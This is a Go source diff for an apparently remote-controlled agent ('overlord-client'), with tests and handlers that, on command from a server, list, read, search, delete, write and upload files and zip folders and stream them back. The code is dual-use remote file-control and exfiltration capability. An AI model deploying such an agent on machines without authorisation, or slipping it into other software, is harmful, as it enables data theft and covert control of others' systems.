||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
envelope := map[string]interface{}{
|
||||
"type": "command",
|
||||
"commandType": "file_list",
|
||||
"id": "cmd-file-1",
|
||||
"payload": map[string]interface{}{"path": tmpDir},
|
||||
}
|
||||
|
||||
if err := HandleCommand(ctx, env, envelope); err != nil {
|
||||
t.Fatalf("HandleCommand(file_list) failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var result wire.FileListResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("Failed to unmarshal result: %v", err)
|
||||
}
|
||||
|
||||
if result.Type != "file_list_result" {
|
||||
t.Errorf("Expected file_list_result")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleCommand_UnknownCommand(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
|
||||
envelope := map[string]interface{}{
|
||||
"type": "command",
|
||||
"commandType": "unknown_command_xyz",
|
||||
"id": "cmd-unknown-1",
|
||||
"payload": map[string]interface{}{},
|
||||
}
|
||||
|
||||
if err := HandleCommand(ctx, env, envelope); err != nil {
|
||||
t.Logf("Unknown command returned error (expected): %v", err)
|
||||
}
|
||||
|
||||
t.Logf("Unknown command handling sent %d messages", len(writer.msgs))
|
||||
}
|
||||
|
||||
func TestHandleCommand_DisconnectTriggersReconnect(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
envelope := map[string]interface{}{
|
||||
"type": "command",
|
||||
"commandType": "disconnect",
|
||||
"id": "cmd-disconnect-1",
|
||||
}
|
||||
|
||||
err := HandleCommand(ctx, env, envelope)
|
||||
if !errors.Is(err, ErrReconnect) {
|
||||
t.Fatalf("expected ErrReconnect, got %v", err)
|
||||
}
|
||||
if len(writer.msgs) < 1 {
|
||||
t.Fatal("expected command_result response")
|
||||
}
|
||||
|
||||
var result wire.CommandResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("failed to unmarshal command_result: %v", err)
|
||||
}
|
||||
if !result.OK {
|
||||
t.Fatalf("expected ok=true, got false")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleCommand_ReconnectTriggersReconnect(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
envelope := map[string]interface{}{
|
||||
"type": "command",
|
||||
"commandType": "reconnect",
|
||||
"id": "cmd-reconnect-1",
|
||||
}
|
||||
|
||||
err := HandleCommand(ctx, env, envelope)
|
||||
if !errors.Is(err, ErrReconnect) {
|
||||
t.Fatalf("expected ErrReconnect, got %v", err)
|
||||
}
|
||||
if len(writer.msgs) < 1 {
|
||||
t.Fatal("expected command_result response")
|
||||
}
|
||||
|
||||
var result wire.CommandResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("failed to unmarshal command_result: %v", err)
|
||||
}
|
||||
if !result.OK {
|
||||
t.Fatalf("expected ok=true, got false")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCommandPayloadExtraction(t *testing.T) {
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
payload interface{}
|
||||
key string
|
||||
expected interface{}
|
||||
}{
|
||||
{
|
||||
name: "StringValue",
|
||||
payload: map[string]interface{}{"path": "/test/path"},
|
||||
key: "path",
|
||||
expected: "/test/path",
|
||||
},
|
||||
{
|
||||
name: "IntValue",
|
||||
payload: map[string]interface{}{"pid": float64(1234)},
|
||||
key: "pid",
|
||||
expected: float64(1234),
|
||||
},
|
||||
{
|
||||
name: "BoolValue",
|
||||
payload: map[string]interface{}{"recursive": true},
|
||||
key: "recursive",
|
||||
expected: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
payloadMap, ok := tt.payload.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatal("Payload is not a map")
|
||||
}
|
||||
|
||||
value, exists := payloadMap[tt.key]
|
||||
if !exists {
|
||||
t.Errorf("Key %s not found in payload", tt.key)
|
||||
}
|
||||
|
||||
if value != tt.expected {
|
||||
t.Errorf("Expected %v, got %v", tt.expected, value)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package handlers
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
func extractTimestamp(v interface{}) int64 {
|
||||
switch t := v.(type) {
|
||||
case uint64:
|
||||
if t <= uint64(^uint64(0)>>1) {
|
||||
return int64(t)
|
||||
}
|
||||
return 0
|
||||
case uint32:
|
||||
return int64(t)
|
||||
case uint16:
|
||||
return int64(t)
|
||||
case uint8:
|
||||
return int64(t)
|
||||
case int64:
|
||||
return t
|
||||
case int32:
|
||||
return int64(t)
|
||||
case int16:
|
||||
return int64(t)
|
||||
case int8:
|
||||
return int64(t)
|
||||
case int:
|
||||
return int64(t)
|
||||
case float64:
|
||||
return int64(t)
|
||||
case float32:
|
||||
return int64(t)
|
||||
case json.Number:
|
||||
if n, err := t.Int64(); err == nil {
|
||||
return n
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
@@ -0,0 +1,950 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
const maxChunkSize = 1024 * 1024
|
||||
|
||||
type pendingUpload struct {
|
||||
file *os.File
|
||||
tmpPath string
|
||||
finalPath string
|
||||
total int64
|
||||
receivedBytes int64
|
||||
receivedOffsets map[int64]int64
|
||||
chunkSize int64
|
||||
expectedChunks int
|
||||
transferID string
|
||||
}
|
||||
|
||||
var (
|
||||
pendingUploadsMu sync.Mutex
|
||||
pendingUploads = map[string]*pendingUpload{}
|
||||
)
|
||||
|
||||
func uploadKey(path, transferID string) string {
|
||||
if transferID != "" {
|
||||
return transferID
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func cleanupPendingUpload(key string, pending *pendingUpload) {
|
||||
pendingUploadsMu.Lock()
|
||||
delete(pendingUploads, key)
|
||||
pendingUploadsMu.Unlock()
|
||||
if pending == nil {
|
||||
return
|
||||
}
|
||||
if pending.file != nil {
|
||||
_ = pending.file.Close()
|
||||
}
|
||||
if pending.tmpPath != "" {
|
||||
_ = os.Remove(pending.tmpPath)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleFileList(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
log.Printf("file_list: %s", path)
|
||||
|
||||
if path == "" {
|
||||
path = "."
|
||||
}
|
||||
|
||||
if path == "." && runtime.GOOS == "windows" {
|
||||
return listWindowsDrives(ctx, env, cmdID)
|
||||
}
|
||||
|
||||
if path == "." && runtime.GOOS != "windows" {
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
path = homeDir
|
||||
}
|
||||
}
|
||||
|
||||
absPath, err := filepath.Abs(path)
|
||||
if err == nil {
|
||||
path = absPath
|
||||
}
|
||||
|
||||
entries := []wire.FileEntry{}
|
||||
var errMsg string
|
||||
|
||||
dirEntries, err := os.ReadDir(path)
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
log.Printf("file_list error: %v", err)
|
||||
} else {
|
||||
for _, entry := range dirEntries {
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
fullPath := filepath.Join(path, entry.Name())
|
||||
fileEntry := wire.FileEntry{
|
||||
Name: entry.Name(),
|
||||
Path: fullPath,
|
||||
IsDir: entry.IsDir(),
|
||||
Size: info.Size(),
|
||||
ModTime: info.ModTime().Unix(),
|
||||
}
|
||||
|
||||
enrichFileEntry(&fileEntry, info)
|
||||
|
||||
entries = append(entries, fileEntry)
|
||||
}
|
||||
}
|
||||
|
||||
result := wire.FileListResult{
|
||||
Type: "file_list_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Entries: entries,
|
||||
Error: errMsg,
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string) error {
|
||||
entries := []wire.FileEntry{}
|
||||
|
||||
for drive := 'A'; drive <= 'Z'; drive++ {
|
||||
drivePath := string(drive) + ":\\"
|
||||
if _, err := os.Stat(drivePath); err == nil {
|
||||
|
||||
entries = append(entries, wire.FileEntry{
|
||||
Name: string(drive) + ":",
|
||||
Path: drivePath,
|
||||
IsDir: true,
|
||||
Size: 0,
|
||||
ModTime: time.Now().Unix(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
result := wire.FileListResult{
|
||||
Type: "file_list_result",
|
||||
CommandID: cmdID,
|
||||
Path: ".",
|
||||
Entries: entries,
|
||||
Error: "",
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
log.Printf("file_download: %s", path)
|
||||
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
result := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
stat, err := file.Stat()
|
||||
if err != nil {
|
||||
result := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
total := stat.Size()
|
||||
offset := int64(0)
|
||||
buffer := make([]byte, maxChunkSize)
|
||||
chunksTotal := 0
|
||||
if total > 0 {
|
||||
chunksTotal = int((total + int64(maxChunkSize) - 1) / int64(maxChunkSize))
|
||||
}
|
||||
chunkIndex := 0
|
||||
reader := bufio.NewReader(file)
|
||||
|
||||
for {
|
||||
n, err := io.ReadFull(reader, buffer)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil && err != io.ErrUnexpectedEOF {
|
||||
result := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
Offset: offset,
|
||||
Total: total,
|
||||
ChunkIndex: chunkIndex,
|
||||
ChunksTotal: chunksTotal,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
if n > 0 {
|
||||
chunk := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Data: buffer[:n],
|
||||
Offset: offset,
|
||||
Total: total,
|
||||
ChunkIndex: chunkIndex,
|
||||
ChunksTotal: chunksTotal,
|
||||
}
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, chunk); err != nil {
|
||||
return err
|
||||
}
|
||||
offset += int64(n)
|
||||
chunkIndex++
|
||||
}
|
||||
|
||||
if err == io.ErrUnexpectedEOF {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("file_download complete: %s (%d bytes)", path, total)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
|
||||
if total > 0 {
|
||||
key := uploadKey(path, transferID)
|
||||
pendingUploadsMu.Lock()
|
||||
pending := pendingUploads[key]
|
||||
pendingUploadsMu.Unlock()
|
||||
|
||||
if pending == nil {
|
||||
log.Printf("file_upload start: %s (total: %d bytes)", path, total)
|
||||
dir := filepath.Dir(path)
|
||||
if dir != "." {
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
}
|
||||
|
||||
tmpPath := path + ".uploading"
|
||||
if transferID != "" {
|
||||
tmpPath = path + ".uploading." + transferID
|
||||
}
|
||||
file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
pending = &pendingUpload{
|
||||
file: file,
|
||||
tmpPath: tmpPath,
|
||||
finalPath: path,
|
||||
total: total,
|
||||
receivedOffsets: map[int64]int64{},
|
||||
transferID: transferID,
|
||||
}
|
||||
|
||||
pendingUploadsMu.Lock()
|
||||
pendingUploads[key] = pending
|
||||
pendingUploadsMu.Unlock()
|
||||
}
|
||||
|
||||
end := offset + int64(len(data))
|
||||
if offset < 0 || end > pending.total {
|
||||
cleanupPendingUpload(key, pending)
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Received: pending.receivedBytes,
|
||||
Total: pending.total,
|
||||
Error: "upload chunk exceeds declared total size",
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
if pending.chunkSize == 0 && len(data) > 0 {
|
||||
pending.chunkSize = int64(len(data))
|
||||
pending.expectedChunks = int((pending.total + pending.chunkSize - 1) / pending.chunkSize)
|
||||
}
|
||||
|
||||
if pending.file != nil {
|
||||
if _, err := pending.file.WriteAt(data, offset); err != nil {
|
||||
cleanupPendingUpload(key, pending)
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Received: pending.receivedBytes,
|
||||
Total: pending.total,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
}
|
||||
|
||||
if _, exists := pending.receivedOffsets[offset]; !exists {
|
||||
pending.receivedOffsets[offset] = int64(len(data))
|
||||
pending.receivedBytes += int64(len(data))
|
||||
}
|
||||
|
||||
hasAllChunks := pending.expectedChunks > 0
|
||||
if hasAllChunks {
|
||||
hasAllChunks = len(pending.receivedOffsets) >= pending.expectedChunks
|
||||
}
|
||||
|
||||
if pending.total > 0 && pending.receivedBytes >= pending.total && hasAllChunks {
|
||||
if pending.file != nil {
|
||||
_ = pending.file.Sync()
|
||||
_ = pending.file.Close()
|
||||
}
|
||||
_ = os.Remove(pending.finalPath)
|
||||
if err := os.Rename(pending.tmpPath, pending.finalPath); err != nil {
|
||||
cleanupPendingUpload(key, pending)
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Received: pending.receivedBytes,
|
||||
Total: pending.total,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
log.Printf("file_upload complete: %s (%d bytes)", path, pending.total)
|
||||
cleanupPendingUpload(key, pending)
|
||||
}
|
||||
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: true,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Received: pending.receivedBytes,
|
||||
Total: pending.total,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
dir := filepath.Dir(path)
|
||||
log.Printf("file_upload start: %s", path)
|
||||
if dir != "." {
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
}
|
||||
|
||||
flag := os.O_CREATE | os.O_WRONLY
|
||||
if offset == 0 {
|
||||
flag |= os.O_TRUNC
|
||||
}
|
||||
|
||||
file, err := os.OpenFile(path, flag, 0644)
|
||||
if err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
if offset > 0 {
|
||||
if _, err = file.Seek(offset, 0); err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
}
|
||||
|
||||
if _, err = file.Write(data); err != nil {
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: false,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
log.Printf("file_upload complete: %s (%d bytes)", path, offset+int64(len(data)))
|
||||
|
||||
result := wire.FileUploadResult{
|
||||
Type: "file_upload_result",
|
||||
CommandID: cmdID,
|
||||
TransferID: transferID,
|
||||
Path: path,
|
||||
OK: true,
|
||||
Offset: offset,
|
||||
Size: int64(len(data)),
|
||||
Received: offset + int64(len(data)),
|
||||
Total: total,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileDelete(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
log.Printf("file_delete: %s", path)
|
||||
|
||||
err := os.RemoveAll(path)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileMkdir(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
log.Printf("file_mkdir: %s", path)
|
||||
|
||||
err := os.MkdirAll(path, 0755)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string) error {
|
||||
log.Printf("file_zip: %s", sourcePath)
|
||||
|
||||
zipPath := sourcePath + ".zip"
|
||||
zipFile, err := os.Create(zipPath)
|
||||
if err != nil {
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
defer zipFile.Close()
|
||||
|
||||
zipWriter := zip.NewWriter(zipFile)
|
||||
defer zipWriter.Close()
|
||||
|
||||
totalFiles := 0
|
||||
filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error {
|
||||
if err == nil && !info.IsDir() {
|
||||
totalFiles++
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
progressMsg := wire.CommandResult{
|
||||
Type: "command_progress",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: fmt.Sprintf("Zipping 0/%d files...", totalFiles),
|
||||
}
|
||||
wire.WriteMsg(ctx, env.Conn, progressMsg)
|
||||
|
||||
processedFiles := 0
|
||||
lastProgressUpdate := time.Now()
|
||||
|
||||
err = filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
header, err := zip.FileInfoHeader(info)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
relPath, err := filepath.Rel(sourcePath, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
header.Name = relPath
|
||||
|
||||
if info.IsDir() {
|
||||
header.Name += "/"
|
||||
} else {
|
||||
header.Method = zip.Deflate
|
||||
}
|
||||
|
||||
writer, err := zipWriter.CreateHeader(header)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if !info.IsDir() {
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
_, err = io.Copy(writer, file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
processedFiles++
|
||||
|
||||
now := time.Now()
|
||||
if now.Sub(lastProgressUpdate) > 500*time.Millisecond || processedFiles%10 == 0 {
|
||||
progress := wire.CommandResult{
|
||||
Type: "command_progress",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: fmt.Sprintf("Zipping %d/%d files...", processedFiles, totalFiles),
|
||||
}
|
||||
wire.WriteMsg(ctx, env.Conn, progress)
|
||||
lastProgressUpdate = now
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
zipWriter.Close()
|
||||
zipFile.Close()
|
||||
|
||||
finalProgress := wire.CommandResult{
|
||||
Type: "command_progress",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: fmt.Sprintf("Zip complete. %d files compressed.", processedFiles),
|
||||
}
|
||||
wire.WriteMsg(ctx, env.Conn, finalProgress)
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
go HandleFileDownload(ctx, env, cmdID, zipPath)
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "Zip created: " + zipPath,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
|
||||
log.Printf("file_read: %s", path)
|
||||
|
||||
if maxSize == 0 {
|
||||
maxSize = 10 * 1024 * 1024
|
||||
}
|
||||
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
result := wire.FileReadResult{
|
||||
Type: "file_read_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
if info.Size() > maxSize {
|
||||
result := wire.FileReadResult{
|
||||
Type: "file_read_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: fmt.Sprintf("file too large: %d bytes (max: %d)", info.Size(), maxSize),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
result := wire.FileReadResult{
|
||||
Type: "file_read_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
isBinary := !utf8.Valid(data)
|
||||
|
||||
result := wire.FileReadResult{
|
||||
Type: "file_read_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Content: string(data),
|
||||
IsBinary: isBinary,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
|
||||
log.Printf("file_write: %s", path)
|
||||
|
||||
dir := filepath.Dir(path)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
err := os.WriteFile(path, []byte(content), 0644)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileSearch(ctx context.Context, env *agentRuntime.Env, cmdID string, searchID string, basePath string, pattern string, searchContent bool, maxResults int) error {
|
||||
log.Printf("file_search: path=%s pattern=%s content=%v", basePath, pattern, searchContent)
|
||||
|
||||
if maxResults == 0 {
|
||||
maxResults = 1000
|
||||
}
|
||||
|
||||
results := []wire.FileSearchMatch{}
|
||||
matchCount := 0
|
||||
|
||||
err := filepath.Walk(basePath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if matchCount >= maxResults {
|
||||
return filepath.SkipAll
|
||||
}
|
||||
|
||||
if !searchContent {
|
||||
if strings.Contains(strings.ToLower(info.Name()), strings.ToLower(pattern)) {
|
||||
results = append(results, wire.FileSearchMatch{
|
||||
Path: path,
|
||||
})
|
||||
matchCount++
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
if !info.IsDir() && info.Size() < 10*1024*1024 {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || !utf8.Valid(data) {
|
||||
return nil
|
||||
}
|
||||
|
||||
scanner := bufio.NewScanner(bytes.NewReader(data))
|
||||
lineNum := 1
|
||||
for scanner.Scan() {
|
||||
line := scanner.Text()
|
||||
if strings.Contains(strings.ToLower(line), strings.ToLower(pattern)) {
|
||||
results = append(results, wire.FileSearchMatch{
|
||||
Path: path,
|
||||
Line: lineNum,
|
||||
Match: line,
|
||||
})
|
||||
matchCount++
|
||||
if matchCount >= maxResults {
|
||||
break
|
||||
}
|
||||
}
|
||||
lineNum++
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.FileSearchResult{
|
||||
Type: "file_search_result",
|
||||
CommandID: cmdID,
|
||||
SearchID: searchID,
|
||||
Results: results,
|
||||
Complete: true,
|
||||
Error: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileCopy(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error {
|
||||
log.Printf("file_copy: %s -> %s", source, dest)
|
||||
|
||||
info, err := os.Stat(source)
|
||||
if err != nil {
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
if info.IsDir() {
|
||||
err = copyDir(source, dest)
|
||||
} else {
|
||||
err = copyFile(source, dest)
|
||||
}
|
||||
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
